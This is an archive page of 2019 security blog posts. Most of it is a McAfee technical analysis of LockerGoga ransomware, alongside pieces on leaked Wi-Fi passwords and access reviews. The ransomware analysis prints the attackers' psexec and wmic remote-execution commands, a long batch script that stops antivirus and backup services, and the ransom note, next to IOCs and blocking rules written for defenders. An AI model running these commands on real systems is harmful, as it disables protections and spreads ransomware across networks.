Daily Archives: April 29, 2019

Wi-Fi Woes: Android Hotspot App Leaves 2 Million Passwords Exposed

Logging onto a free Wi-Fi network can be tempting, especially when you’re out running errands or waiting to catch a flight at the airport. But this could have serious cybersecurity consequences. One popular Android app, which allowed anyone to search for nearby Wi-Fi networks, was recently left exposed, leaving a database containing over 2 million network passwords unprotected.

How exactly were these passwords exposed? The app, which had been downloaded by millions of users, allowed anyone to search for Wi-Fi networks in their area. The app also lets users upload their Wi-Fi network passwords from their devices to its database for others to use. When the database was left exposed and unprotected, anyone could access and download its contents. Each record in the database contained the Wi-Fi network name, its precise geolocation, its basic service set identifier, and the network password in plaintext. Because the app didn’t require users to obtain permission from the network owner, it would be quite easy for a cybercriminal to modify router settings and point unsuspecting users to malicious websites. What’s more, a threat actor could also read unencrypted traffic that goes across a wireless network, allowing them to steal passwords and private data.

Thankfully, the web host was able to take down the database containing the Wi-Fi passwords within a day of being notified. But it’s important for users to be aware of the cybersecurity implications that free or public Wi-Fi presents. Check out the following tips to help protect your data:

  • Change your Wi-Fi password. If you think your password may have been affected by this exposure, err on the side of caution and reset it. Be sure to make your new password complex and unique.
  • Keep your network password private. Wi-Fi networks could be susceptible to a number of threats if their passwords are left in the wrong hands. Only share your passwords with family, friends, and those you trust, and never upload your password to a public database for strangers to use.
  • Safeguard your online privacy. Use a security solution like McAfee Safe Connect to encrypt your online activity, protect your privacy by hiding your IP address, and better defend against cybercriminals.

And, of course, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home  on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Wi-Fi Woes: Android Hotspot App Leaves 2 Million Passwords Exposed appeared first on McAfee Blogs.

What is Rubber Stamping and Why is it a Serious Cybersecurity Concern?

Although it is not common practice these days to use the red “APPROVED” physical ink stamp, the act of bulk approving (or denying) requests without the necessary time invested or research conducted is as popular as ever. Though this can occur in any department across any organization, this practice of rubber-stamping is particularly problematic when related to the review of access to IT resources. Bulk approvals of requests to have access to any of the various systems and assets quickly becomes a security concern. In order to avoid giving into the temptation to rush approvals of these requests without adequate review, organizations must first understand the damage that can result from overusing approvals, why it happens, and how this can be prevented.

The Dangers of Too Much Access

User access and how it is managed greatly impacts the risk of insider threats, which have become all too common. In fact, according to a survey completed by Cybersecurity Insiders, over 50 percent of organizations surveyed experienced an insider attack in the last twelve months. Approving everyone for any access they apply for, or not adequately reviewing user access periodically, provides ample opportunity for both malicious and accidental insider threats.

Dissatisfied employees pose a unique risk given their knowledge of the organization and their sometimes nefarious motivations. If they know the approval process is not being monitored or access is not being periodically reviewed, they could easily submit a request to access sensitive data which they could then misuse. It could take months before their activity was discovered.

Accidental or negligent misuse of access is also considered an insider threat. Employees may not understand exactly what access they need and end up asking for and being approved for more privilege than they require; they may even request access to the wrong system or asset entirely. The result is often errors in how the access is used. Failing to govern exactly who is asking for what and why they need it creates an environment primed for increased errors.

Additionally, limiting user access is a key component of many regulations like GDPR, Sarbanes Oxley (SOX), and HIPAA, whether it be through the application of proper approval processes or the periodic review of access. Frequent rubber stamping could result in being out of compliance, opening your organization up to potential fines, or worse.

Certification Fatigue and Information Underload: Why Rubber Stamping Occurs

Approving entitlements without a second glance is dangerous. So why is it so common?

Firstly, those in charge of approving access requests or periodically reviewing large lists of user entitlements are often inundated with them, causing certification fatigue. In order to get through the list and get back to work, they simply grant them all. Essentially, they may be busy enough that the only type of access review or approval that will happen in a timely manner is a careless one.

Secondly, access reviews especially are often presented in a confusing format, or an unreadable one. Spreadsheets with this information are hard to read and may not provide enough context to determine if the existing access is actually needed. There are several considerations which may not be listed in a spreadsheet, like how commonly the type of access requested is granted for a given job role, or if it is only needed for a limited time or purpose. With potentially hundreds of requests in need of action, it’s impractical to expect a reviewer or approver to take the time to research each request.

Ultimately, these kinds of reviews require a human eye and a clear understanding of the context in which the access is requested or has been granted. A balance must be struck between efficiency, accuracy, and security. As long as this process is manual, without improvements in the manner which the data are presented to the user, accuracy is a difficult goal to achieve.

Providing Access Accurately and Safely with a Certification Solution

Core Certify provides the context approvers need to make an informed decision in a visual format that allows users to clearly and quickly see common user entitlements and rapidly identify outliers. Core Certify works as a standalone solution, or as part of a suite that enables an organization to also take a graphic approach to periodic or ad-hoc access reviews.

In addition, the same visual, context-driven approach is available for role creation. To see it for yourself, as well as the rest of the Visual Identity Suite, get a personalized demo today.

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How Veracode Security Program Managers Benefit Your AppSec Program

The application security space is a complicated environment with a vast landscape of roles, development methodologies, and tech stacks. Developers, security leads, risk analysts, Scrum masters, vendor managers, operations teams, and system architects are all on the scene, just to name a few. 

If we compare the land of AppSec to the agriculture industry, your Veracode Security Program Managers are the farmers, and secure software is our crop. Our calloused hands are dirty with application security, and we thrive on lending our green thumb to your program, so you can achieve your security and organizational goals. 

This summer marks my two-year tenure as a Veracode Security Program Manager. I support about 30 different customer organizations in the Eastern US, and I specialize in scaling new application security initiatives into best-in-class programs. We are all about delivering value here at Veracode, and I wanted to shed some light on how Security Program Managers can help guide you on your AppSec journey.

We’re Here For You

Whether you need us for one hour per month, or 16 hours a week, we’ve got your back. We are a part of the larger Services team within Veracode, and we’re proud of it. Some of us support 250 customers, some of us support three customers, and most of us are somewhere in between. Regardless of your level of service, you will always be partnered with a Veracode Security Manager to help you succeed.

As Security Program Managers, most of our time is spent communicating with our customers. Although Veracode may be one tool in your program, we understand how the solution fits into your larger security landscape, and we are experts in the space. Internally, we share what works (and what doesn’t work) with each other to fine tune our best-practice methods.   

We’re an Extension of Your Team

Although we are process and workflow wizards, there may be times when we don’t have the answer to your questions right away. However, we usually know who will. Veracode Security Program Managers act on your behalf as corporate liaisons, and we’re not shy about asking for help when we don’t know something.           

Throughout the life of your program, you’ll work with us to identify organizational challenges, program goals, and success metrics. The combination of these tools and our programmatic approach holds you and your team accountable. Need help integrating Veracode results into your SIEM or want to discuss the best way to manage your CI/CD pipeline? We know some people.   

We Help You Achieve Security as a Competitive Advantage

Kick-off calls, platform demos, status calls, and program review meetings equip us with visibility into the health of your program. These touchpoints, combined with a blend of analytics, strategic expertise, and a shared passion for efficiency, are the base to our secret sauce for your success. We’re obsessed with helping you lessen your risk of failure and saving you money, all while enabling your organization to become more secure as a competitive advantage.

Your Veracode Security Program Manager will have insight into our newest programs and resources to help you achieve your security goals. Lean on us to help you discover a list of your applications that already qualify for the free Veracode Verified program. We’ll also keep you up to speed on our latest and greatest free webinars, which are released on a monthly basis. Becoming familiar with your program enables us to send you content tailored to your initiatives. Let us dig through the noise and send you the right resources.

We Evolve With You

The pressure to produce more code more quickly will only compound over time. Veracode Security Program Managers are here to ensure your great software is also secure, all while helping you move fast. While speed is top of mind for us, accuracy is built into our DNA. As a team, we are passionate about staying ahead of emerging market changes and the latest technology trends.   

We know how to leverage our enhanced Veracode Analytics tool in the platform to gain immediate insight into your program to identify potential risk, areas to improve, and strategic next steps. We can also help you learn how to create and share custom reports that are meaningful to both you and your business. 

Your organization is working hard to create software that’s changing the world; lean on a Veracode Security Program Manager as a trusted advisor to help secure it. Together, we can plant the seeds for bold innovations and pioneer new discoveries.     

Check out our website, to learn more about our Services organization.

Cyber Ranges: Extending the Skills of Tool Experts

Working with rapidly growing products like our CMD+CTRL Cyber Range is fun for a variety of reasons, particularly because seeing people smile while learning is a rare occurrence. For much of the Security Innovation team though, the best experience is growing a technology from an interesting idea to a rapidly maturing product. Even better, the journey allows for many “Aha!” moments in the form of feedback and ideas from our customers.

LockerGoga Ransomware Family Used in Targeted Attacks

Initial discovery

Once again, we have seen a significant new ransomware family in the news. LockerGoga, which adds new features to the tried and true formula of encrypting victims’ files and asking for payment to decrypt them, has gained notoriety for the targets it has affected.

In this blog, we will look at the findings of the McAfee ATR team following analysis of several different samples. We will describe how this new ransomware works and detail how enterprises can protect themselves from this threat.

Technical analysis

LockerGoga is a ransomware that exhibits some interesting behaviors we want to highlight. Based on our research, and compared with other families, it has a few unique functions and capabilities that are rare compared to other ransomware families that have similar objectives and/or targeted sectors in their campaigns.

In order to uncover its capabilities, we analyzed all the samples we found, discovering similarities between them, as well as how the development lifecycle adds or modifies different features in the code to evolve the ransomware in a more professional tool used by the group behind it.

One of the main differences between LockerGoga and other ransomware families is the ability to spawn different processes in order to accelerate the file encryption in the system:

Like other types of malware, LockerGoga will use all the available CPU resources in the system, as we discovered on our machines:

Most of the LockerGoga samples work the same way but we observed how they added and removed certain types of functionality during their development lifecycle.

The ransomware needs be executed from a privileged account.

LockerGoga works in a master/slave configuration. The malware begins its infection on an endpoint by installing a copy of itself on the %TEMP% folder.

After being copied, it will start a new process with the -m parameter.

The master process runs with the -m parameter and is responsible for creating the list of files to encrypt and spawning the slaves.

The slave processes will be executed with a different set of parameters as shown below. Each slave process will encrypt only a small number of files, to avoid heuristic detections available in endpoint security products. The list of files to encrypt is taken from the master process via IPC, an interface used to share data between applications in Microsoft Windows. The communication is done through IPC using a mapped section named SM-<name of binary>.

Here is the IPC technique used by LockerGoga:

  • The master process (run as <LockerGogaBinary> -m) creates a named section on the system for IPC.
  • The section is named “SM-tgytutrc”.
  • The master ransomware process posts the filepath of the file to be encrypted to the named section “SM-tgytutrc”.
  • This section is used by the slave processes to pick up the filepath and encrypt the target file.

Sandbox replication of master process screenshot below showing:

  • Creation of the named section.
  • Subsequent creation of slave processes to encrypt target files on the endpoint.

Sandbox replication of slave process (encryption process) below showing:

  • Obtaining access to the section created by the master process.
  • Reading and encryption of a target file found based on the filepath specified in the named section.

The ransomware creates multiple slave processes on the endpoint to encrypt files. Some analysts believe this is the case simply because it speeds up the encryption process, but we are not convinced as the same outcome can be achieved via a multi-threaded approach in the ransomware process instead of a multi-process approach.

Instead, we suspect this approach is adopted for the following reasons:

  • Footprint: If every encryption process encrypts only a small number of files on the endpoint and terminates, then the overall footprint of the attack on the system decreases since it may be difficult to co-relate multiple encryption processes to the same threat.
  • Sandbox Bypass: Some sandbox-based detection systems monitor the threshold of the number of files written on the system and may co-relate it to the file extensions being written to. E.g. If a process reads, say, 200 files on the sandbox but only creates files with one specific extension (typical of ransomware – Extn “.locked” in the case of LockerGoga) then this can be considered anomalous behavior. LockerGoga may be able to bypass such detection techniques.
  • File I/O based detection bypass: A multi-process-based approach makes sure that the amount of I/O (File/Disk I/O etc.) for each encryption process is within a certain limit, thus bypassing detection techniques that monitor exorbitant I/O based detection.
  • Reliability: Even if one encryption process is manually terminated by an end-user, as long as the master ransomware process is running the files will continue to be encrypted by new slave processes. If the ransomware process does not use the multi-process approach, then terminating the ransomware process stops the encryption on the endpoint.

Username Administrator:

Username Tinba:

The author implemented a logging function that can be enabled if you callout the sample in execution using the parameter “-l” to store all the results in a file called ‘log.txt’ in the root C drive:

During execution we enabled the log function and saw how the ransomware encrypts the system, causing high CPU usage and opening the ransom note during the process. This is the aspect in an infected system:

As we executed the sample with the log function, we could access this file to check the status of the encryption. Obviously, this most likely a debug function used by the developer.

In order to know how the ransomware works, and with the help of the log function enabled, we could establish the order of LockerGoga to encrypt the system:

  • Log file creation in the C: drive
  • Folder and file enumeration
  • File encryption & ransom note creation in the desktop folder.

One interesting thing to mention is that, before encrypting any file in the system, the malware will search for files in the trashcan folder as the first option. We are not certain why it takes this unusual step, though it could be because many people do not empty their recycle bins and the ransomware is looking to encrypt even those files that may no longer be required:

LockerGoga will start to enumerate all the folders and files in the system to start the encryption process. This enumeration is done in parallel, so we can expect the process wouldn’t take much time.

After the enumeration the ransomware will create the ransom note for the victim:

The ransom note was created in parallel with the encrypted files, and it is hardcoded inside the sample:

Like other ransomware families, LockerGoga will create the ransom note file to ask the user to pay to recover their encrypted files. We highly recommend not paying under any circumstance so as not to continue funding an underground business model. In case of a ransomware infection, please check https://www.nomoreransom.org

Below is an example of the ransom note content on an infected machine:

Greetings!

There was a significant flaw in the security system of your company.

You should be thankful that the flaw was exploited by serious people and not some rookies.

They would have damaged all of your data by mistake or for fun.

 

Your files are encrypted with the strongest military algorithms RSA4096 and AES-256.

Without our special decoder it is impossible to restore the data.

Attempts to restore your data with third party software as Photorec, RannohDecryptor etc.

will lead to irreversible destruction of your data.

 

To confirm our honest intentions.

Send us 2-3 different random files and you will get them decrypted.

It can be from different computers on your network to be sure that our decoder decrypts everything.

Sample files we unlock for free (files should not be related to any kind of backups).

 

We exclusively have decryption software for your situation

 

DO NOT RESET OR SHUTDOWN – files may be damaged.

DO NOT RENAME the encrypted files.

DO NOT MOVE the encrypted files.

This may lead to the impossibility of recovery of the certain files.

 

The payment has to be made in Bitcoins.

The final price depends on how fast you contact us.

As soon as we receive the payment you will get the decryption tool and

instructions on how to improve your systems security

 

To get information on the price of the decoder contact us at:

In parallel of the ransom note creation, the files will start to be encrypted by LockerGoga with the .locked extension appended to all files. This extension has been broadly used by other ransomware families in the past:

LockerGoga has embedded in the code the file extensions that it will encrypt. Below is an example:

The sample has also configured some locations and files that will be skipped in the encryption process so as not to disrupt the Operating System from running.

All the files encrypted by this ransomware will have a specific FileMarker inside:

Note: The FileMarker identifies the ransomware family and the most likely version; in this case it is 1440.

During the investigation we identified the following versions:

  • 1200
  • 1510
  • 1440
  • 1320

Based on the binary compile time and the extracted versions, we observed that the actors were creating different versions of LockerGoga for different targets/campaigns.

After encrypting, LockerGoga executes ‘cipher.exe’ to remove the free space to prevent file recovery in the infected system. When files are deleted on a system, sometimes they are still available in the free space of a hard disk and can theoretically be recovered.

Samples digitally signed:

During our triage phase we found that some of the LockerGoga samples are digitally signed. We are observing from ATR that the latest ransomware pieces used a lower scale and more focused are released digitally signed:

  • MIKL LIMITED
  • ALISA LTD
  • KITTY’S LTD

Digitally signing the malware could help the attackers to bypass some of the security protections in the system.

As part of the infection process, LockerGoga will create a static mutex value in the system, always following the same format:

MX-[a-z]\w+

Examples of mutex found:

MX-imtvknqq

MX-tgytutrc

MX-zzbdrimp

Interesting strings found

In our analysis we extracted more strings from the LockerGoga samples, with interesting references to:

  • LockerGoga
  • crypto-locker
  • goga
E:\\crypto-locker\\cryptopp\\src\\crc_simd.cpp

E:\\crypto-locker\\cryptopp\\src\\rijndael_simd.cpp

E:\\crypto-locker\\cryptopp\\src\\sha_simd.cpp

E:\\crypto-locker\\cryptopp\\src\\sse_simd.cpp

E:\\goga\\cryptopp\\src\\crc_simd.cpp

E:\\goga\\cryptopp\\src\\rijndael_simd.cpp

E:\\goga\\cryptopp\\src\\sha_simd.cpp

E:\\goga\\cryptopp\\src\\sse_simd.cpp

X:\\work\\Projects\\LockerGoga\\cl-src-last\\cryptopp\\src\\crc_simd.cpp

X:\\work\\Projects\\LockerGoga\\cl-src-last\\cryptopp\\src\\rijndael_simd.cpp

X:\\work\\Projects\\LockerGoga\\cl-src-last\\cryptopp\\src\\sha_simd.cpp

X:\\work\\Projects\\LockerGoga\\cl-src-last\\cryptopp\\src\\sse_simd.cpp

The malware developers usually forget to remove those strings in their samples and we can use them to identify new families or frameworks used in their development.

Spreading methods:

The malware is known to be spread in the local network through remote file copy. To do that, a set of .batch files are copied to the remote machines TEMP folder using simple copy:

  • copy xax.bat \\123.123.123.123\c$\windows\temp

The malware will copy itself and the tool PSEXEC.EXE to the same location. Once all the files are copied, the malware will run the .BAT file using the following command:

  • start psexec.exe \\123.123.123.123 -u domain\user -p “pass” -d -h -r mstdc -s accepteula -nobanner c:\windows\temp\xax.bat

Each of these .BAT files contain lines to execute the malware on remote machines. They use the following command:

  • start wmic /node:”123.123.123.123″ /user:”domain\user” /password:”pass” process call create “cmd /c c:\windows\temp\kill.bat”

The batch file above attempts to kill several AV products and disable security tools. At the end of the script, the malware copy on the remote machine is executed from

c:\windows\temp\taskhost.exe.

Due to the presence of these batch files and the fact that the malware binary makes no direct reference to them, we believe that the spreading mechanism is executed manually by an attacker or via an unknown binary. The path, username, and passwords are hardcoded in the scripts which indicate the attacker had previous knowledge of the environment.

The following is a list of all the processes and services disabled by the malware:

One batch file found in the infected systems where LockerGoga was executed will stop services and processes regarding critical services in the system and security software:

net stop BackupExecAgentAccelerator /y net stop McAfeeEngineService /y
net stop BackupExecAgentBrowser /y net stop McAfeeFramework /y
net stop BackupExecDeviceMediaService /y net stop McAfeeFrameworkMcAfeeFramework /y
net stop BackupExecJobEngine /y net stop McTaskManager /y
net stop BackupExecManagementService /y net stop mfemms /y
net stop BackupExecRPCService /y net stop mfevtp /y
net stop BackupExecVSSProvider /y net stop MMS /y
net stop bedbg /y net stop mozyprobackup /y
net stop DCAgent /y net stop MsDtsServer /y
net stop EPSecurityService /y net stop MsDtsServer100 /y
net stop EPUpdateService /y net stop MsDtsServer110 /y
net stop EraserSvc11710 /y net stop MSExchangeES /y
net stop EsgShKernel /y net stop MSExchangeIS /y
net stop FA_Scheduler /y net stop MSExchangeMGMT /y
net stop IISAdmin /y net stop MSExchangeMTA /y
net stop IMAP4Svc /y net stop MSExchangeSA /y
net stop macmnsvc /y net stop MSExchangeSRS /y
net stop masvc /y net stop MSOLAP$SQL_2008 /y
net stop MBAMService /y net stop MSOLAP$SYSTEM_BGC /y
net stop MBEndpointAgent /y net stop MSOLAP$TPS /y
net stop McShield /y net stop MSSQLFDLauncher$TPS /y
net stop MSOLAP$TPSAMA /y net stop MSSQLFDLauncher$TPSAMA /y
net stop MSSQL$BKUPEXEC /y net stop MSSQLSERVER /y
net stop MSSQL$ECWDB2 /y net stop MSSQLServerADHelper100 /y
net stop MSSQL$PRACTICEMGT /y net stop MSSQLServerOLAPService /y
net stop MSSQL$PRACTTICEBGC /y net stop MySQL57 /y
net stop MSSQL$PROFXENGAGEMENT /y net stop ntrtscan /y
net stop MSSQL$SBSMONITORING /y net stop OracleClientCache80 /y
net stop MSSQL$SHAREPOINT /y net stop PDVFSService /y
net stop MSSQL$SQL_2008 /y net stop POP3Svc /y
net stop MSSQL$SYSTEM_BGC /y net stop ReportServer /y
net stop MSSQL$TPS /y net stop ReportServer$SQL_2008 /y
net stop MSSQL$TPSAMA /y net stop ReportServer$SYSTEM_BGC /y
net stop MSSQL$VEEAMSQL2008R2 /y net stop ReportServer$TPS /y
net stop MSSQL$VEEAMSQL2012 /y net stop ReportServer$TPSAMA /y
net stop MSSQLFDLauncher /y net stop RESvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y net stop sacsvr /y
net stop MSSQLFDLauncher$SBSMONITORING /y net stop MSSQLFDLauncher$SHAREPOINT /y net stop SamSs /y
net stop MSSQLFDLauncher$SQL_2008 /y net stop SAVAdminService /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y net stop SAVService /y
net stop MSOLAP$TPSAMA /y net stop MSSQLFDLauncher$TPS /y
net stop MSSQL$BKUPEXEC /y net stop MSSQLFDLauncher$TPSAMA /y
net stop SDRSVC /y net stop SQLSafeOLRService /y
net stop SepMasterService /y net stop SQLSERVERAGENT /y
net stop ShMonitor /y net stop SQLTELEMETRY /y
net stop Smcinst /y net stop SQLTELEMETRY$ECWDB2 /y
net stop SmcService /y net stop SQLWriter /y
net stop SMTPSvc /y net stop SstpSvc /y
net stop SNAC /y net stop svcGenericHost /y
net stop SntpService /y net stop swi_filter /y
net stop sophossps /y net stop swi_service /y
net stop SQLAgent$BKUPEXEC /y net stop swi_update_64 /y
net stop SQLAgent$ECWDB2 /y net stop TmCCSF /y
net stop SQLAgent$PRACTTICEBGC /y net stop tmlisten /y
net stop SQLAgent$PRACTTICEMGT /y net stop TrueKey /y
net stop SQLAgent$PROFXENGAGEMENT /y net stop TrueKeyScheduler /y
net stop SQLAgent$SBSMONITORING /y net stop TrueKeyServiceHelper /y
net stop SQLAgent$SHAREPOINT /y net stop SQLAgent$SQL_2008 /y net stop UI0Detect /y
net stop SQLAgent$SYSTEM_BGC /y net stop SQLAgent$TPS /y net stop VeeamBackupSvc /y
net stop SQLAgent$TPSAMA /y net stop VeeamBrokerSvc /y
net stop SQLAgent$VEEAMSQL2008R2 /y net stop SQLAgent$VEEAMSQL2012 /y net stop VeeamCatalogSvc /y
net stop SQLBrowser /y net stop VeeamCloudSvc /y
net stop SDRSVC /y net stop SQLSafeOLRService /y
net stop SepMasterService /y net stop SQLSERVERAGENT /y
net stop ShMonitor /y net stop SQLTELEMETRY /y
net stop VeeamDeploymentService /y net stop NetMsmqActivator /y
net stop VeeamDeploySvc /y net stop EhttpSrv /y
net stop VeeamEnterpriseManagerSvc /y net stop ekrn /y
net stop VeeamMountSvc /y net stop ESHASRV /y
net stop VeeamNFSSvc /y net stop MSSQL$SOPHOS /y
net stop VeeamRESTSvc /y net stop SQLAgent$SOPHOS /y
net stop VeeamTransportSvc /y net stop AVP /y
net stop W3Svc /y net stop klnagent /y
net stop wbengine /y net stop MSSQL$SQLEXPRESS /y
net stop WRSVC /y net stop SQLAgent$SQLEXPRESS /y net stop wbengine /y
net stop MSSQL$VEEAMSQL2008R2 /y net stop kavfsslp /y
net stop SQLAgent$VEEAMSQL2008R2 /y net stop VeeamHvIntegrationSvc /y net stop KAVFSGT /y
net stop swi_update /y net stop KAVFS /y
net stop SQLAgent$CXDB /y net stop mfefire /y
net stop SQLAgent$CITRIX_METAFRAME /y net stop “SQL Backups” /y net stop “avast! Antivirus” /y
net stop MSSQL$PROD /y net stop aswBcc /y
net stop “Zoolz 2 Service” /y net stop “Avast Business Console Client Antivirus Service” /y
net stop MSSQLServerADHelper /y net stop mfewc /y
net stop SQLAgent$PROD /y net stop Telemetryserver /y
net stop msftesql$PROD /y net stop WdNisSvc /y
net stop WinDefend /y net stop EPUpdateService /y
net stop MCAFEETOMCATSRV530 /y net stop TmPfw /y
net stop MCAFEEEVENTPARSERSRV /y net stop SentinelAgent /y
net stop MSSQLFDLauncher$ITRIS /y net stop SentinelHelperService /y
net stop MSSQL$EPOSERVER /y net stop LogProcessorService /y
net stop MSSQL$ITRIS /y net stop EPUpdateService /y
net stop SQLAgent$EPOSERVER /y net stop TmPfw /y
net stop SQLAgent$ITRIS /y net stop SentinelAgent /y
net stop SQLTELEMETRY$ITRIS /y net stop SentinelHelperService /y
net stop MsDtsServer130 /y net stop LogProcessorService /y
net stop SSISTELEMETRY130 /y net stop EPUpdateService /y
net stop MSSQLLaunchpad$ITRIS /y net stop TmPfw /y
net stop BITS /y net stop SentinelAgent /y
net stop BrokerInfrastructure /y net stop EPProtectedService /y
net stop epag /y net stop epredline /y
net stop EPIntegrationService /y net stop EPSecurityService /y

New ransomware, new features, but still room to improve

We will continue tracking LockerGoga, but we have already seen some interesting features never seen before, such as parallel tasking encrypting the system or log files for debugger purposes. We did not see any spreading method used to deliver LockerGoga so it would be fair to assume it is used in targeted campaigns after the attackers had access to the system. At the time of this analysis, all the samples are not packed, or have complex methods of protection from being executed inside a sandbox system, though this could change in the near future.

Also, during the analysis, we observed LockerGoga encrypting legitimate DLLs, breaking the functionality of certain applications in the system, and also ciphering itself during the process, causing a crash:

We expect all these errors will be fixed with further development of the malware.

Observations:

The McAfee ATR team is observing how some new ransomware players in the cybersecurity field are reusing, or at least only making some minor modifications to, some features used by other ransomware families.

In the case of LockerGoga we can observe the following in:

  • Sectigo as a certificate, also used to digitally sign the certificate
  • Ransom note slightly modified from Ryuk Ransomware
  • Specific FileMarker used to flag the encrypted files
  • No BTC address used in the ransom note, meaning victims must make contact directly by email, something that we have seen elsewhere in our latest investigations.

MITRE ATT&CK Coverage:

Hooking

Kernel Modules and Extensions

Process Injection

Code Signing

Query Registry

Process Discovery

Data Compressed

McAfee coverage:

Detection names: 

RansomCLock-FAL!A5BC1F94E750

Ransom-Goga!E11502659F6B

Trojan-Ransom

Ransom-Goga!438EBEC995AD

Trojan-FQSS!3B200C8173A9

RansomCLock-FAL!A1D732AA27E1

Ransom-Goga!C2DA604A2A46

Ransom-O

Trojan-FPYT!BA53D8910EC3

Ransom-FQPT!FAF4DE4E1C5D

RansomCLock-FAL!3EBCA21B1D4E

RansomCLock-FAL!E8C7C902BCB2

Ransom-Goga!E11502659F6B

Generic.bvg

Ransom-Goga!16BCC3B7F32C

Expert Rules

The following expert rules can be used in Endpoint Security to block the malware from spreading. These rules are aggressive and may cause false positives, so make sure they are removed once the environment is cleaned:

Rule {

Process {

Include OBJECT_NAME { -v “SYSTEM:REMOTE” }

}

Target {

Match FILE {

Include OBJECT_NAME { -v “c:\\windows\\temp\\*.exe” }

Include OBJECT_NAME { -v “c:\\windows\\temp\\*.bat” }

Include -access “CREATE”

}

}

}

Rule {

Process {

Include OBJECT_NAME { -v “WmiPrvSE.exe” }

}

Target {

Match PROCESS {

Include OBJECT_NAME { -v “cmd.exe”}

Include -access “CREATE”

}

}

}

Customers can also add the following Access Protection rule to prevent the creation of encrypted files on the victim host:

Prescriptive guidance

It is advisable for customers to undertake appropriate risk assessment to determine if this threat has a high probability of targeting their environments.  Whilst the above detailed known samples are incorporated within McAfee technologies, customers can also add the following Access Protection rules to prevent the creation of encrypted files on the victim host:

Executables:

  • Inclusion Status: Include
  • File Name or Path: *
  • SubRule:

SubRule:

  • Type: File
  • Operations: Create
  • Targets:
    • Target 1:
      • Include
      • Files: *.locked
    • Target 2:
      • Include
      • Destination file: *.locked

Customers can also add the following Access Protection rule to prevent the creation of encrypted files on the victim host:

  • File/Folder Access Protection Rule: Processes tInclude: *
  • File or folder name tblock: *.locked
  • File actions tprevent: New files being create

Access Protection Rules:

Customers can also add Access Protection rules matching these characteristics: Prevent Creation\Execution of:

  • c:\windows\temp\x??.bat
  • c:\windows\temp\kill.bat
  • c:\windows\temp\taskhost.exe

Prevent execution of binaries signed with SN:

  • C=GB, PostalCode=DT3 4DD, S=WEYMOUTH, L=WEYMOUTH, STREET=16 Australia Road Chickerell,
  • O=MIKL LIMITED, CN=MIKL LIMITED
  • C=GB, PostalCode=WC2H 9JQ, S=LONDON, L=LONDON, STREET=71-75 Shelton Street Covent
  • Garden, O=ALISA LTD, CN=ALISA LTD
  • C=GB, PostalCode=EC1V 2NX, S=LONDON, L=LONDON, STREET=Kemp House 160 City Road,
  • O=KITTY’S LTD, CN=KITTY’S LTD

YARA RULE

We have a YARA rule available on our ATR github repository:

IOCs

a52f26575556d3c4eccd3b51265cb4e6

ba53d8910ec3e46864c3c86ebd628796

c2da604a2a469b1075e20c5a52ad3317

7e3f8b6b7ac0565bfcbf0a1e3e6fcfbc

3b200c8173a92c94441cb062d38012f6

438ebec995ad8e05a0cea2e409bfd488

16bcc3b7f32c41e7c7222bf37fe39fe6

e11502659f6b5c5bd9f78f534bc38fea

9cad8641ac79688e09c5fa350aef2094

164f72dfb729ca1e15f99d456b7cf811

52340664fe59e030790c48b66924b5bd

174e3d9c7b0380dd7576187c715c4681

3ebca21b1d4e2f482b3eda6634e89211

a1d732aa27e1ca2ae45a189451419ed5

e8c7c902bcb2191630e10a80ddf9d5de

4da135516f3da1c6ca04d17f83b99e65

a5bc1f94e7505a2e73c866551f7996f9

b3d3da12ca3b9efd042953caa6c3b8cd

faf4de4e1c5d8e4241088c90cfe8eddd

dece7ebb578772e466d3ecae5e2917f9

MayarChenot@protonmail[.]com

DharmaParrack@protonmail[.]com

wyattpettigrew8922555@mail[.]com

SayanWalsworth96@protonmail[.]com

SuzuMcpherson@protonmail[.]com

AbbsChevis@protonmail[.]com

QicifomuEjijika@o2[.]pl

RezawyreEdipi1998@o2[.]pl

AsuxidOruraep1999@o2[.]pl

IjuqodiSunovib98@o2[.]pl

aperywsqaroci@o2[.]pl

abbschevis@protonmail[.]com

asuxidoruraep1999@o2[.]pl

cottleakela@protonmail[.]com

couwetizotofo@o2[.]pl

dharmaparrack@protonmail[.]com

dutyuenugev89@o2[.]pl

phanthavongsaneveyah@protonmail[.]com

mayarchenot@protonmail[.]com

ijuqodisunovib98@o2[.]pl

qicifomuejijika@o2[.]pl

rezawyreedipi1998@o2[.]pl

qyavauzehyco1994@o2[.]pl

romanchukeyla@protonmail[.]com

sayanwalsworth96@protonmail[.]com

schreibereleonora@protonmail[.]com

suzumcpherson@protonmail[.]com

wyattpettigrew8922555@mail[.]com

The post LockerGoga Ransomware Family Used in Targeted Attacks appeared first on McAfee Blogs.

What This Report on Cyber Risk Gets Wrong

The Marsh brokerage unit of Marsh and McLennan recently announced a new evaluation process called Cyber Catalyst designed to determine the usefulness of enterprise cyber risk tools.

The goal of the new offering is to identify and implement industry-wide standards to help cyber insurance policyholders make more informed decisions about cyber-related products and services; basically, what works and what doesn’t. Other major insurers participating in Cyber Catalyst include Allianz, AXA XL, AXIS, Beazley, CFC, and Sompo International.

While this collaboration between insurance companies is unusual, it’s not entirely surprising. Cyber insurance is a $4 billion market globally. While it’s difficult to accurately gauge how many hacking attempts were successfully foiled by the products targeted here, data breaches and cyber attacks on businesses continue to increase in frequency and severity. The 2019 World Economic Forum’s Global Risks Report ranks “massive data fraud and theft” as the fourth greatest global risk, followed by “cyber-attacks” in the five slot.

Meanwhile, cybersecurity products and vendors have been, to be charitable, a mixed bag.

Good in Theory

From this standpoint, Cyber Catalyst seems like not just a good idea, but an obvious one. A standardized metric to determine which cybersecurity solutions are no better than a fig leaf and which ones provide real armor to defend against cyberattacks is sorely lacking in the cybersecurity space. By Marsh’s own estimates, there are more than three thousand cybersecurity vendors amounting to a $114 billion marketplace. Many of them don’t inspire confidence on the part of businesses.

Insurers have a vested interest in determining the effectiveness of cybersecurity products, weeding out buggy software and promoting effective solutions that can help address risk aggregation issues. Businesses and their data are in turn better protected, and at least in theory, they would pay less for coverage. Everyone wins.

Insurance companies did something similar in the 1950s with the creation of the Insurance Institute for Highway Safety. In the face of rising traffic collisions and fatalities, the insurance industry collaborated to establish a set of tests and ratings for vehicles, and the result has been a gold standard for automotive safety for decades. Using a similar strategy for cybersecurity would at least in theory help mitigate the ever-increasing costs and risks to companies and their data.

Or Maybe Not

